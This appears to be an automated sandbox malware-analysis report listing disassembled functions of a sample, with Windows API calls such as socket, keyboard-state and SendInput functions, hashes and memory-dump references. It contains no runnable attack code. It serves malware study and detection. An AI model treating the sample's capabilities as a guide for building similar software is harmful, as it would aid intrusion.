                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Long
                                                                                                                                                                • String ID: SysTreeView32
                                                                                                                                                                • API String ID: 847901565-1698111956
                                                                                                                                                                • Opcode ID: 21988e52468fd01bf82d8294b97c7624769bfa1cf9342395d21e8c9bab1742c3
                                                                                                                                                                • Instruction ID: f6c8ffcb7ad7406d1bcd368a1ed8b7b0d2a50ac78a9bd48c7ca3d6d747ac8a6e
                                                                                                                                                                • Opcode Fuzzy Hash: 21988e52468fd01bf82d8294b97c7624769bfa1cf9342395d21e8c9bab1742c3
                                                                                                                                                                • Instruction Fuzzy Hash: FD315A31200616ABDF258F7CEC85BEA7BA9EB48324F204725F979A21E1D774E8518B50
                                                                                                                                                                Function 00A13821 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00A13B2E: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00A1384A,?,?), ref: 00A13B4B
                                                                                                                                                                • inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A1384D
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1386E
                                                                                                                                                                • htons.WSOCK32(00000000,?,?,00000000), ref: 00A138D9
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ByteCharMultiWide_wcslenhtonsinet_addr
                                                                                                                                                                • String ID: 255.255.255.255
                                                                                                                                                                • API String ID: 946324512-2422070025
                                                                                                                                                                • Opcode ID: e4beac05baf683cee3338ac43b85c0a31aa09a8f24016a0660d8b5cd701a0d0a
                                                                                                                                                                • Instruction ID: d5f6796df291e0d3ebad8a002b8ff5a091bfef32b6c8f9883839291d4fc5a87d
                                                                                                                                                                • Opcode Fuzzy Hash: e4beac05baf683cee3338ac43b85c0a31aa09a8f24016a0660d8b5cd701a0d0a
                                                                                                                                                                • Instruction Fuzzy Hash: A831C13A6042019FCF10DF68C585EA97BB5EF54318F2480A9F8168B3A2D771EE86C760
                                                                                                                                                                Function 00A24592 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00A2461A
                                                                                                                                                                • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00A2462E
                                                                                                                                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00A24652
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$Window
                                                                                                                                                                • String ID: SysMonthCal32
                                                                                                                                                                • API String ID: 2326795674-1439706946
                                                                                                                                                                • Opcode ID: d0fdd97a2cf1f5f71daaa5544c7908b4269e2e02772b0d623c934663a6e9592a
                                                                                                                                                                • Instruction ID: e72e4a495e01cdb287c5800885e6ae62071ed9a043744a137fb901225f9ff875
                                                                                                                                                                • Opcode Fuzzy Hash: d0fdd97a2cf1f5f71daaa5544c7908b4269e2e02772b0d623c934663a6e9592a
                                                                                                                                                                • Instruction Fuzzy Hash: 4E21A132610229BBDF258F98DC46FEA3BB5EF88714F110224FE157B1D0DAB5A8558B90
                                                                                                                                                                Function 00A24D2F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00A24DE1
                                                                                                                                                                • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00A24DEF
                                                                                                                                                                • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00A24DF6
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$DestroyWindow
                                                                                                                                                                • String ID: msctls_updown32
                                                                                                                                                                • API String ID: 4014797782-2298589950
                                                                                                                                                                • Opcode ID: 609d120250c2e971ae50c9417aa14ac957d61a5ab0d96946f8879ac9446634e9
                                                                                                                                                                • Instruction ID: 63006b7f4d96dcefa5c7bb11b91f22d61e0849750794dec36f99fcd2d790a57d
                                                                                                                                                                • Opcode Fuzzy Hash: 609d120250c2e971ae50c9417aa14ac957d61a5ab0d96946f8879ac9446634e9
                                                                                                                                                                • Instruction Fuzzy Hash: C32144B5600259AFDB20DF68DC81EB737BDEF9A364B150469F9009B361DB70EC518B60
                                                                                                                                                                Function 00A0530B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 00A0531F
                                                                                                                                                                • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00A05373
                                                                                                                                                                • SetErrorMode.KERNEL32(00000000,?,?,00A2DBF4), ref: 00A053E7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorMode$InformationVolume
                                                                                                                                                                • String ID: %lu
                                                                                                                                                                • API String ID: 2507767853-685833217
                                                                                                                                                                • Opcode ID: 540336d8c8a79b230e343cc54049d58294c41e71068fc4bca2e4c06abbe61508
                                                                                                                                                                • Instruction ID: d7f4d14cc73c9fb6d8e9d1336f90d4b5418952d8230d57c37681c7b17ba4c67e
                                                                                                                                                                • Opcode Fuzzy Hash: 540336d8c8a79b230e343cc54049d58294c41e71068fc4bca2e4c06abbe61508
                                                                                                                                                                • Instruction Fuzzy Hash: 26314171A00109AFDB10DF68D995EAABBB8EF44304F1440A5F909DF292D771EE46CF61
                                                                                                                                                                Function 00A248C7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00A2492B
                                                                                                                                                                • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00A24940
                                                                                                                                                                • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00A2494D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                • String ID: msctls_trackbar32
                                                                                                                                                                • API String ID: 3850602802-1010561917
                                                                                                                                                                • Opcode ID: ca6b98ecc8be4ffe3691bac2546c4cbf33d7704b7c242831168cfcdfbca74b8e
                                                                                                                                                                • Instruction ID: eab433965210d12f1b780714995470a407b4c660aaf0156c5aadb9ab52e6b2be
                                                                                                                                                                • Opcode Fuzzy Hash: ca6b98ecc8be4ffe3691bac2546c4cbf33d7704b7c242831168cfcdfbca74b8e
                                                                                                                                                                • Instruction Fuzzy Hash: 6C110231240248BEEF205F7CDC06FAB3BA8EF89B64F114524FA55E60A0C671EC61CB20
                                                                                                                                                                Function 009F375C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                  • Part of subcall function 009F35B2: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 009F35D0
                                                                                                                                                                  • Part of subcall function 009F35B2: GetWindowThreadProcessId.USER32(?,00000000), ref: 009F35E1
                                                                                                                                                                  • Part of subcall function 009F35B2: GetCurrentThreadId.KERNEL32 ref: 009F35E8
                                                                                                                                                                  • Part of subcall function 009F35B2: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 009F35EF
                                                                                                                                                                • GetFocus.USER32 ref: 009F3782
                                                                                                                                                                  • Part of subcall function 009F35F9: GetParent.USER32(00000000), ref: 009F3604
                                                                                                                                                                • GetClassNameW.USER32(?,?,00000100), ref: 009F37CD
                                                                                                                                                                • EnumChildWindows.USER32(?,009F3845), ref: 009F37F5
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
                                                                                                                                                                • String ID: %s%d
                                                                                                                                                                • API String ID: 1272988791-1110647743
                                                                                                                                                                • Opcode ID: 5b07e0e81420fff60597a3e12b185262bf53c4e3bbdb9aec70cb3ccf80b640be
                                                                                                                                                                • Instruction ID: 682559cf1c0e6746fbe674012627075f517332911f973ee25fed36458566e0b9
                                                                                                                                                                • Opcode Fuzzy Hash: 5b07e0e81420fff60597a3e12b185262bf53c4e3bbdb9aec70cb3ccf80b640be
                                                                                                                                                                • Instruction Fuzzy Hash: 7E11A5716002096BCF11BF749C85BFE776AAFD4304F048075BE099B296DA38594A8B70
                                                                                                                                                                Function 009F089E Relevance: 6.3, APIs: 4, Instructions: 322COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: b971fbe1adb0777ae8110ee1eba588744e7bd8ac2982c2f49a5c80cc02705b02
                                                                                                                                                                • Instruction ID: 397006c6889db0932e3fc0e40874420897693a7653c1c0f8b8016734a1549d86
                                                                                                                                                                • Opcode Fuzzy Hash: b971fbe1adb0777ae8110ee1eba588744e7bd8ac2982c2f49a5c80cc02705b02
                                                                                                                                                                • Instruction Fuzzy Hash: 00C15E75A0020AEFDB14CF94C884ABEB7B9FF88715F108598EA05DB252D771ED81CB50
                                                                                                                                                                Function 009C42A0 Relevance: 6.3, APIs: 4, Instructions: 305COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: __alldvrm$_strrchr
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1036877536-0
                                                                                                                                                                • Opcode ID: b7f10559f626c80453af757d5ec9f0138941ef8a887e3562974eb8c521b6b901
                                                                                                                                                                • Instruction ID: 689403afc29dc350a96e0872053c433d73bedf3cf88b1f035ae0918731915c9d
                                                                                                                                                                • Opcode Fuzzy Hash: b7f10559f626c80453af757d5ec9f0138941ef8a887e3562974eb8c521b6b901
                                                                                                                                                                • Instruction Fuzzy Hash: 12A17A71F003869FDB25CF18C8A1FAEBBE9EF95310F28416DE5859B281C2388D41C752
                                                                                                                                                                Function 009F0C55 Relevance: 6.2, APIs: 4, Instructions: 230COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00A30BCC,?), ref: 009F0E0F
                                                                                                                                                                • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00A30BCC,?), ref: 009F0E27
                                                                                                                                                                • CLSIDFromProgID.OLE32(?,?,00000000,00A2DC00,000000FF,?,00000000,00000800,00000000,?,00A30BCC,?), ref: 009F0E4C
                                                                                                                                                                • _memcmp.LIBVCRUNTIME ref: 009F0E6D
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FromProg$FreeTask_memcmp
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 314563124-0
                                                                                                                                                                • Opcode ID: 0fd91dff63c3a771accc8c183925dfe1a4c759932cb7efae46a09b48b89c7a25
                                                                                                                                                                • Instruction ID: 85381d678400131fd74fa6bc9077b313b413391769d6caf6d9d88fc0190a786e
                                                                                                                                                                • Opcode Fuzzy Hash: 0fd91dff63c3a771accc8c183925dfe1a4c759932cb7efae46a09b48b89c7a25
                                                                                                                                                                • Instruction Fuzzy Hash: 8E810A71A00209EFCB04DFD8C984EEEB7B9FF89315F204558E516AB251DB71AE06CB60
                                                                                                                                                                Function 009D17B1 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 269201875-0
                                                                                                                                                                • Opcode ID: 5c8da4091c9e852de0715962f91a217afb5138a5fc4b74c472b121833472cbb2
                                                                                                                                                                • Instruction ID: fa6945145d8e404e339c1f429f3338a7c43e4040b11e2e45f56eba8050c9bc80
                                                                                                                                                                • Opcode Fuzzy Hash: 5c8da4091c9e852de0715962f91a217afb5138a5fc4b74c472b121833472cbb2
                                                                                                                                                                • Instruction Fuzzy Hash: 86412133E802047BDB25EBB98C46FAE3AA9EF86370F14865BF414D7391D67488416362
                                                                                                                                                                Function 00A1231C Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • socket.WSOCK32(00000002,00000002,00000011), ref: 00A12343
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A12351
                                                                                                                                                                • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00A123D0
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A123DA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast$socket
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1881357543-0
                                                                                                                                                                • Opcode ID: 7375ac5662c1d6924bd395fcb3dccccae25a51774d2bd34dcbb738941faf6873
                                                                                                                                                                • Instruction ID: 7579d3c6fb626c4a339261824a0f68f24240e90e5b53afc517d33e1015736f7d
                                                                                                                                                                • Opcode Fuzzy Hash: 7375ac5662c1d6924bd395fcb3dccccae25a51774d2bd34dcbb738941faf6873
                                                                                                                                                                • Instruction Fuzzy Hash: 8B41C478600200AFEB20AF28C886FAA77E5AF45754F54C058F9559F2D3C776DD82CB90
                                                                                                                                                                Function 00A268ED Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00A26957
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00A2698A
                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00A269F7
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$ClientMoveRectScreen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3880355969-0
                                                                                                                                                                • Opcode ID: 7238a47ff6c2f106e28f0fa44c481e3bd53c434df49f938d8388ed067b68fffd
                                                                                                                                                                • Instruction ID: 284de3d01889bf81f3aa36bbf65b26923d05a23eb155e775aeab44898f07db53
                                                                                                                                                                • Opcode Fuzzy Hash: 7238a47ff6c2f106e28f0fa44c481e3bd53c434df49f938d8388ed067b68fffd
                                                                                                                                                                • Instruction Fuzzy Hash: 22514F75A01219EFCF25CF58D980AAE7BB6FF84360F108169F955A7290D730ED91CB90
                                                                                                                                                                Function 009CB83F Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: fc7929fe02aa036046a0a83388c49ed071b09aad09edbc91f7e77b6a1fb05696
                                                                                                                                                                • Instruction ID: bac094094318afcf9432666c76211a9889276473e99b36987b541e0d88eb36b7
                                                                                                                                                                • Opcode Fuzzy Hash: fc7929fe02aa036046a0a83388c49ed071b09aad09edbc91f7e77b6a1fb05696
                                                                                                                                                                • Instruction Fuzzy Hash: 3B41C371E40704AFE724AF78CC42FAABBBDEB88710F10862EF151DB291D775A9018791
                                                                                                                                                                Function 009FB27B Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 009FB2D0
                                                                                                                                                                • SetKeyboardState.USER32(00000080), ref: 009FB2EC
                                                                                                                                                                • PostMessageW.USER32(?,00000102,00000001,00000001), ref: 009FB35A
                                                                                                                                                                • SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 009FB3AC
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: KeyboardState$InputMessagePostSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 432972143-0
